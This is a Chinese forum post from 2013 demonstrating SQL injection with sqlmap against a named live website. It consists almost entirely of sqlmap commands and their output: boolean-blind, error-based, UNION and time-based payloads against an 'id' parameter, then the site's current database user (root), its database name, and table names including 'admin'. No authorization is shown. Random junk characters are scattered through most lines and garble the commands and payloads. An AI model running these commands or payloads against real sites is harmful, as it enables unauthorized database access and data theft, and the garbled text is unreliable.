标题: sqlmap实例注入mysql [打印本页] 作者: admin 时间: 2013-4-4 22:18 标题: sqlmap实例注入mysql D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db5 I% ^2 h! b/ o" X7 W
ms "Mysql" --current-user /* 注解:获取当前用户名称 1 C1 ~# B v0 ~0 a2 u sqlmap/0.9 - automatic SQL injection and database takeover tool & h! l) r' d& { Yhttp://sqlmap.sourceforge.net
starting at: 16:53:54: C5 u: F8 z6 x. R8 B0 W
[16:53:54] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as 2 p" l7 r# O7 q9 V1 t session file4 F. Q ?2 ^! h/ I5 Z' b, F! W
[16:53:54] [INFO] resuming injection data from session file! V# ~5 L9 R& N- O2 T
[16:53:54] [INFO] resuming back-end DBMS 'mysql 5.0' from session file ) k2 v I, ~8 @) y- ?6 g" C[16:53:54] [INFO] testing connection to the target url . J# W2 o# h! X9 M' n8 V5 i. Usqlmap identified the following injection points with a total of 0 HTTP(s) reque ; T. v, ?3 s3 Ests: 3 W' [7 v$ U2 X* D( K1 R' o--- 0 u0 Y& |3 K( X* x, dPlace: GET' C, P4 l& I, F8 C9 I' ^. A5 s4 |
Parameter: id - a3 F0 |7 S4 w- ?( Z( a4 a1 c Type: boolean-based blind7 N. B1 `+ f: t! ~) V
Title: AND boolean-based blind - WHERE or HAVING clause 8 ?8 {0 M, W4 v5 {" ^8 f Payload: id=276 AND 799=7993 u9 I0 i) }% P& U" E
Type: error-based' p% ^1 I: [" ^. V* l
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause & b7 o. o1 `6 u+ t# ~ Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,4 h0 K) U0 D9 j. |
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,587 |; ~2 E+ h" a. j
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) ' }6 N8 ]) m W Type: UNION query+ |4 E8 w9 Z! ^; D; i
Title: MySQL UNION query (NULL) - 1 to 10 columns & k6 W f; a/ _& `/ F Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR . O2 e* | i; B. _( N(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),% |! R1 e& d6 y+ |& R% F
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#2 e6 h' Z. {+ b' \' \( b4 |$ O: E2 W
Type: AND/OR time-based blind d% d! x6 V- \' o Title: MySQL > 5.0.11 AND time-based blind; b ?' c4 l. A9 o) c. S p& s
Payload: id=276 AND SLEEP(5) ! p- i+ w% J# c- U2 Q---6 I, d1 Q# Y% S$ V
[16:53:55] [INFO] the back-end DBMS is MySQL 0 G8 ^" @" n- @0 k" |web server operating system: Windows + h8 D( i3 {) {web application technology: Apache 2.2.11, PHP 5.3.05 |# v5 W+ O$ D8 ?" f: A, h
back-end DBMS: MySQL 5.0 ; n, K! T( { z2 P/ U[16:53:55] [INFO] fetching current user 2 o6 L' z# m1 O0 q& ?( Icurrent user: 'root@localhost' . r6 S4 d o! D9 W4 _$ D% i[16:53:58] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou! b1 S% ?( t% I( p! }
tput\www.wepost.com.hk'
shutting down at: 16:53:58" ]3 r F {; s: {9 L
/ ]" O/ ]/ c, m1 H& E6 `8 k+ A9 O
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db) j; L. E4 o/ }2 h. R6 n
ms "Mysql" --current-db /*当前数据库# t" Q; y1 Q" m+ Q; ^
sqlmap/0.9 - automatic SQL injection and database takeover tool+ }9 }. ?& ]- z& N7 J http://sqlmap.sourceforge.net
starting at: 16:54:16 - ]6 U/ s" ]' T$ I1 R2 W) ][16:54:16] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as# Y/ d* J1 F9 P+ }9 W: H/ X, U
session file - S3 @8 q" C0 b4 Z( B: g* S[16:54:16] [INFO] resuming injection data from session file7 g2 `' D& E3 z1 Y
[16:54:16] [INFO] resuming back-end DBMS 'mysql 5.0' from session file# y. {0 `6 W9 P7 L/ ^
[16:54:16] [INFO] testing connection to the target url8 [+ d5 O, x8 b( G4 d/ R( o: k
sqlmap identified the following injection points with a total of 0 HTTP(s) reque 2 b" Z- A4 p G- W2 h+ e# qsts: - m. h) e4 g: T9 b% U$ {. I---' a3 x% r1 l/ T: ^9 j9 c
Place: GET [1 Y6 c- j% ~2 q' G S6 yParameter: id1 r( O# {1 h8 t- b
Type: boolean-based blind Q2 q" q: `7 `' E9 g4 ?2 E5 Z
Title: AND boolean-based blind - WHERE or HAVING clause4 w) e% ^' Z$ _$ M
Payload: id=276 AND 799=799 8 t% M& h/ |) l1 K Type: error-based, C# T1 u0 r5 C6 S
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause1 z3 `+ d9 q- j% e
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,4 U M. P2 d5 q
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58 X" D1 |* d* y7 Y),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) 8 w5 R% b, g2 C! L% X$ c/ b/ f# x Type: UNION query 8 L$ s6 U; t6 T9 _ Title: MySQL UNION query (NULL) - 1 to 10 columns ; |/ \- z, r! X* B6 P Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR 1 R7 I3 w. z% ]/ ^(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),; z; g: R; a! f: X2 N
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL# 1 N; ?0 h) S4 ], l# U- @% z) x Type: AND/OR time-based blind ) u A; i% s# I6 _! L Title: MySQL > 5.0.11 AND time-based blind6 f$ {% @; A# U" b3 `
Payload: id=276 AND SLEEP(5) . X& Z" v; M8 E--- 8 o8 ~. }& @+ z% r! B: J: p% F' M[16:54:17] [INFO] the back-end DBMS is MySQL8 C+ [- p5 o h! P5 S
web server operating system: Windows3 S2 I* s0 R2 k( i! Y
web application technology: Apache 2.2.11, PHP 5.3.0' T& ]3 u% T! W: ]: z N& G
back-end DBMS: MySQL 5.0' ]) G& M3 J* u" N' j; U
[16:54:17] [INFO] fetching current database # s6 } P4 q5 J8 X- K0 e8 Bcurrent database: 'wepost': k! V! p5 |( r3 u p0 c# ]# ]
[16:54:18] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou# r4 C \) a: v& X. q% [2 n
tput\www.wepost.com.hk'
shutting down at: 16:54:18 3 f' n7 O0 _7 R" o1 H8 B/ P6 `- s0 TD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db + i, v# n* v9 Y2 vms "Mysql" --tables -D "wepost" /*获取当前数据库的表名$ g3 x& v( y! _; m" C5 S Y
sqlmap/0.9 - automatic SQL injection and database takeover tool9 D7 m) Y+ L0 H. G http://sqlmap.sourceforge.net
starting at: 16:55:25! \9 ^. ?; O1 g$ G* F
[16:55:25] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as ( M9 Y K @6 ^. u session file " w6 Q3 u: F) H# |+ r1 X/ B4 z. w[16:55:25] [INFO] resuming injection data from session file 2 H" J% k# G6 z[16:55:25] [INFO] resuming back-end DBMS 'mysql 5.0' from session file . W: k- I) N- y7 j7 m' ^% p[16:55:25] [INFO] testing connection to the target url , B) _ s. I8 I: N( o; S c6 dsqlmap identified the following injection points with a total of 0 HTTP(s) reque- Z: k8 g8 j% V" }; F: ^
sts: ( d i2 e6 f/ G9 Q--- ; p2 k; X# r8 e j& V: `Place: GET : K- F9 |) ~+ ]' AParameter: id ! W. U, ~7 M& g# W3 M Type: boolean-based blind 1 t5 S: h7 U0 h# k# `4 j( O Title: AND boolean-based blind - WHERE or HAVING clause 1 k0 G3 ~# B; }; \2 k Payload: id=276 AND 799=799 3 K$ R5 Y8 E# c0 y! D$ ^$ b* Q Type: error-based8 X' K2 r" e( D4 a
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause" ? U f- b) n, m0 T/ C
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,# P ~- ?8 w- Q2 X$ b! j2 c2 a3 e
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58" V5 K' T& [9 h1 L) Q
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)$ ^3 [* u' d: G8 n
Type: UNION query% w% ]2 p0 ~: n" K/ F' B; q
Title: MySQL UNION query (NULL) - 1 to 10 columns$ S/ u3 _" a% c; R3 r6 Q
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR ( O* M) P4 V$ I( V' S(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR), + Q8 n3 H( u0 l; y- @CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL# 9 A" X# |: S7 R Type: AND/OR time-based blind ( H# h' a- e- x) d6 P7 } Title: MySQL > 5.0.11 AND time-based blind& a) D$ o3 L4 v ?
Payload: id=276 AND SLEEP(5)+ l I/ s, K$ m
--- 7 Q- j2 ~2 k1 Q+ u[16:55:26] [INFO] the back-end DBMS is MySQL6 w! h2 ^8 d+ ~9 P
web server operating system: Windows ( G" G6 H B$ R) E; {7 _web application technology: Apache 2.2.11, PHP 5.3.0 8 O& B% z8 f* Kback-end DBMS: MySQL 5.0: R7 ~% J" v5 `0 \
[16:55:26] [INFO] fetching tables for database 'wepost' ) }4 c! R! ]1 j" o, U$ U {[16:55:27] [INFO] the SQL query used returns 6 entries" q2 b# O6 [& M/ C
Database: wepost 2 J4 F+ y- Z+ G; s$ S4 r7 e[6 tables] 1 q5 o1 O& i) H6 q9 R& \+ D+-------------+ * P* |6 H8 Y& m| admin |& W8 c9 n' A* G5 v3 I
| article |: `! b; B) I) G+ ^7 e3 d
| contributor |8 x \$ y9 W: S0 T- V0 W
| idea |" d9 V7 x; [7 p/ F6 t
| image | / e6 G; w5 L8 D* g* i0 a| issue | 7 o( J. ?+ O, w+ Z+ R+-------------+ % _2 I. T9 ^% ^3 v' r! t: w; _! [4 k5 f[16:55:33] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou ( ^ c m+ _% k% r. utput\www.wepost.com.hk'